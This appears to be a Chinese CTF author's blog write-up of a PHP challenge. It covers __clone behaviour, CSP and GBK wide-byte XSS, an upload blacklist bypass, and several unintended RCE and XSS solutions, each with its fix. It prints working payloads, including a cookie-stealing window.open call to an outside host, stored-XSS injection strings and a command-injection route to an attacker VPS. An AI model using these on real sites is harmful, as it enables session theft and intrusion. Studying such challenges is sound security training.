目录
絮絮叨叨
本来没什么思路出题,想着随便构造一个反序列化的题目,就先看了看 php 的魔法方法,其中 __clone() 基本没怎么出过题目,就研究了一下这个方法的特性。
首先,__clone() 触发的条件是本对象被 clone,例如:
$someClass = new Class(); $a = clone $someClass;
在 clone 执行后会拷贝一个一模一样的 $someClass 赋值给 $a,这样一来对于需要多次重复对象操作的实际环境(数据库交互等)就可以用 clone 来提高开发效率。
但是 php 的 clone 存在一个feature,假如 $a 中拷贝的 $someClass 的某个属性也是一个对象(简称为子对象),则 $a 实际上是引用的 $someClass 中的子对象(类似 C 中的指针),即如果 $someClass 中含有子对象 $this->class,那么当 $a clone 过去之后,$a 对 $this->class 进行修改, $someClass 中也会做对应的修改,这就可能造成数据紊乱等问题,具体可见如下代码:
<?php // Author : imagin // Blog : https://imagin.vip // PHP version : 7.0.10 class father{ function __construct(){ $this->son = new son(); } } class son{ function __construct(){ $this->arg = 123; } } $a = new father(); $b = clone $a; echo $a->son->arg."<br>"; $b->son->arg = 456; echo $a->son->arg."<br>"; echo $b->son->arg."<br>"; // output: // 123 // 456 // 456
而 __conle 就是解决这个问题的,他允许在调用 clone 的时候执行代码,使程序有有机会重新赋值子对象。
这个特性有点类似 js 中的原型链污染,只不过原型链污染是从子类污染父类,且 js 中有所有对象的爸爸 Object,所以造成的危害相对较大,但是 clone 是父对象影响子对象,能造成的危害相对有限。
CSP 保护
一般网站为了防止 xss 攻击,都会设置 CSP(Content Security Policy) 保护,但是这个保护可以被很多姿势绕过。但是出题的过程中发现这些姿势比较难构造,就放弃了这一考点,这个题的 CSP 设置为可以调用本地文件,可以执行 js,基本就跟没有一样,关于 CSP 绕过,可以看以下几篇文章:
有两个姿势可以设置 CSP 保护,一个是用 php 的 header() 定义头,另一种是直接使用 html 的 meta 标签定义。这两种方式需要在 header 函数前没有任何输出(可使用缓冲区),如果有输出会导致 CSP 设置失败。
出题时的发现
js 的弱智强制结束机制
在以下代码中,在引号中的 </script> 会被识别为 js 结束符,从而使后面的语句逃逸,直接在网站上输出 “;</script> ,又因为 </script> 会被识别成标签被浏览器解析,因此打开网站会显示 “; 。
<script>var a = "</script>";</script>
HTML在标签判断的特性
由于 HTML 本质上是文本标记语言,不能像网络协议或者 php 等编程语言正常识别转移符 \ ,因此在插入数据前即使将数据转义,也不会被 HTML 正常解析。在标签中插入的数据如果可控,就会轻而易举地造成标签逃逸,从而造成 xss 等攻击。
<input value="<?=addslashes($_GET['a'])?>" /> # test.php?a="/><script>alert(1)</script>
preg_match 双引号问题
这个其实是 php 的解析特性,比如以下代码:
<?php $a = "123"; print('$a'); print("$a"); // output : // $a123
双引号和单引号在 php 是有区别的,由于双引号有个能解析变量的特性,因此在正则中尽量使用单引号,避免在匹配 $ 符时造成正则失效。
php var_dump() 函数影响 header
占坑,测试题目的时候发现的,等有时间复现一下咕咕咕。
题目 wp
考察点:代码审计、绕过CSP、宽字节 xss
首先打开网站,发现网站有 CSP 保护,猜测是 xss
题目,githack
可以得到网站源码。
稍微审计代码发现反序列化点不可控,UrlHelper
这个类可以控制 header
。与用户交互的地方有上传文件、答题和留言。
class UrlHelper{ function go(){ if(isset($this->pre) and isset($this->after) and isset($this->location)){ $dest = $this->pre . $this->location . $this->after; header($dest); } else{ header("Location: index.php"); } } }
留言不用说肯定是植入 payload
的地方,这个点虽然在 <script>
标签内,但是被单引号括起来,再加上 User
类会把注入的 message
转义,而且限制了尖括号不能直接闭合 <script>
标签,因此无法直接植入 js
代码,可以先看其他两个交互点;
class User{ function leaveMessage($message){ $this->info->leaveMessage($message); } function showMessage(){ echo "<body><script> var a = '{$this->info->message}';document.write(a);</script></body>"; } } class Info{ function leaveMessage($message){ if(preg_match("/cookie|<|>|win/i", $message, $ma)){ $this->message = "?"; var_dump($ma); } else{ $this->message = addslashes($message); } } }
其次审计答题的相关代码,发现 Asker
的 answer
方法有个 eval()
,这个代码的功能是记录剩下的可能的正确选项(一共四个选项,选错则会把错误选项清除),正则过滤了很多函数,此处应该没有命令执行的点(也可能我没测出来,可以等赛后看看师傅们的 wp 有没有能绕过这个正则的),但是由于这里 clone
了一个 User
类,并把这个当成自己的属性,根据 php clone
函数的特性,我们可以把当前用户的任意属性强行置为 False
。由此根据前面得到的信息,可以让 $this->user->url->pre = False
,由于 bool
类型的值在与字符串进行 + 操作时结果就是原本的字符串,因此这个header的前半部分就成功逃逸。
class Asker{ function answer($user, $answer){ $this->user = clone $user; if($this->right == $answer){ $this->message = "clever man!"; return 1; } else{ if(preg_match("/f|sy|(|)| |;|and|or|&|\||\^|\$|#|\/|\*/", $answer)){ eval("\$this->".$answer." = false;"); $this->updateList(); } else{ $this->message = "what are you doing bro?"; } $this->times ++; return 0; } } }
再审计 quiz.php
源码,发现有个 referer
会取 GET
到的值不经过判断就放到 location
中(其实这里一开始是想用 http
的 referer
,但是由于 payload
中有 =
,发送给服务器会报 500
错误,只能退而求其次),访问 quiz.php?referer=Content-Type: text/html; charset=GBK; Referer: index
即可用 GBK
编码绕过单引号限制。
之后是上传文件操作,黑名单限制了不能直接传可执行文件,但是没有拦截 wave
文件,因此可以上传 wave
文件绕过 CSP(wave 绕 csp 需要 <script src=’1.wave’> 形式,由于构造比较麻烦因此本题没有涉及,此处上传任意后缀的文件都可执行)。
更正:这个点是我没考虑清楚,跟 shana 师傅讨论了一下之后发现不止 wave 文件可以绕过,除了媒体流文件(mp3、mp4、wav 等后缀)均可以绕过 CSP(甚至 xxx 后缀也可)。
class Uploader{ function __construct(){ $this->black_list = ['ph', 'ht', 'sh', 'pe', 'j']; } function check(){ $ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.')); $reg = ""; foreach ($this->black_list as $key) { $reg .= $key . "|"; } $reg = "/" . $reg . "\x|\s|[\x01-\x20]/i"; if(preg_match($reg, $ext, $mathches)){ echo "Nope!"; $this->flag = 0; } $this->ext = $ext; } }
最后到 index.php
进行留言,用 %df%27
绕过单引号,就可以植入 js
代码。注意植入的代码不能有单引号,用 js
的 String.fromCharCode()
方法可以用 ascii
凑出 string
,从而弹窗执行,最后访问 teacher.php
算出 md5
提交即可 getflag
。
# payloads: # Author : imagin # 将 pre_word 置空 quiz.php?answer=user->url->pre # 控制 header quiz.php?referer=Content-Type: text/html; charset=GBK; Referer: index # 上传 wave 文件 window.open('http://imagin.vip:23333/?'+document.cookie); # 留言 保存 xss payload index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116); var c = String.fromCharCode(49,46,119,97,118,101); x=document.createElement(b);x.src=c;document.body.appendChild(x);//
测试中的一吨非预期
代码逻辑 正则未执行导致eval RCE
这个非预期比较弱智,触发点在 lib.php 中那个 eval 之前的正则,一开始正则中的小括号没加转移符,导致整个正则的失效。
修复方案:修改弱智代码。
用户名无过滤xss
用户名处一开始并未限制输入,因此可以直接插入 js 代码,随便打 cookie。
修复方案:后面加了层正则就妥了。
正则未过滤分号反引号 eval RCE
这个其实是debug时候的一个小疏忽,由于代码版本的问题,服务器上的是旧版代码,没有禁掉分号,导致师傅们用反引号直接执行命令,后来听 Y1ng 师傅说反引号实际上引用的是 shell_exec 函数,在 php.ini 中禁掉就可了。
修复方案:正则禁掉分号反引号,php.ini 禁了一堆函数
check.php构造RCE获取cookie地址
一开始 check.php 没关回显,代码的逻辑是这样:
<<?php if(isset($_GET['id'])){ putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'); $cmd = "python3 /bot.py {$_GET['id']} {$_SERVER['HTTP_HOST']}"; exec($cmd); } ?>
由于有个可控的 id 在前面,这里也没有过滤,因此在 id 处构造一个空格后面加上自己的 vps 地址就可以把第二个参数挤出去,在 vps 上监听对应的地址即可接受到 bot 发来的包。

修复方案:把这两个参数换位置,以后写代码要把可控参数放在最后。
文件名后缀构造onerror xss
文件上传处虽然文件名被 md5 混淆,但是后缀并没有被转换,上传的文件最后会拼接成:
<img src = "/var/www/html/upload/md5.jpg" width="200px" />
可以在后缀名动手脚,上传任意文件,后缀为:
1.a"onerror=alert(1);a="
之后会被拼接成:
<img src = "/var/www/html/upload/1.a"onerror=alert(1);a="" width="200px" />
从而成功弹窗。
修复方案:过滤掉引号转义符和&等编码符号。
eval过滤不严格导致rce
eval 处可以用短标签 <?=?> 形式注入代码,从而导致 RCE。
修复方案:eval之前加个白名单,只允许部分字符。
black_list 置为 false 导致任意文件上传
访问 quiz.php?answer=user->uploader->black_list 会导致将文件后缀名的黑名单情况, 可以直接传马,比赛中拿了一血的星盟就是这个方法做的 (╯‵□′)╯︵┻━┻,后来我也传了马紧急热修了,由于本懒狗没更新 .git,所以才有师傅们审出来了这个洞却没打成功,谢罪谢罪。
修复方案:过滤掉 black_list 或者给 uploader 增加 __wakeup() 方法重置黑名单。
总结
这次出题真的学到了很多,主要是负责测试的师傅们直接爆了五六个非预期出来,师傅们八仙过海,展示了各种骚操作骚姿势。出一个题结果有至少六个解,真的是物超所值 233333。感觉下次再出类似的题目,思路开阔了很多。
一万个非预期 舒服了
太猛了太猛了 头都被锤掉了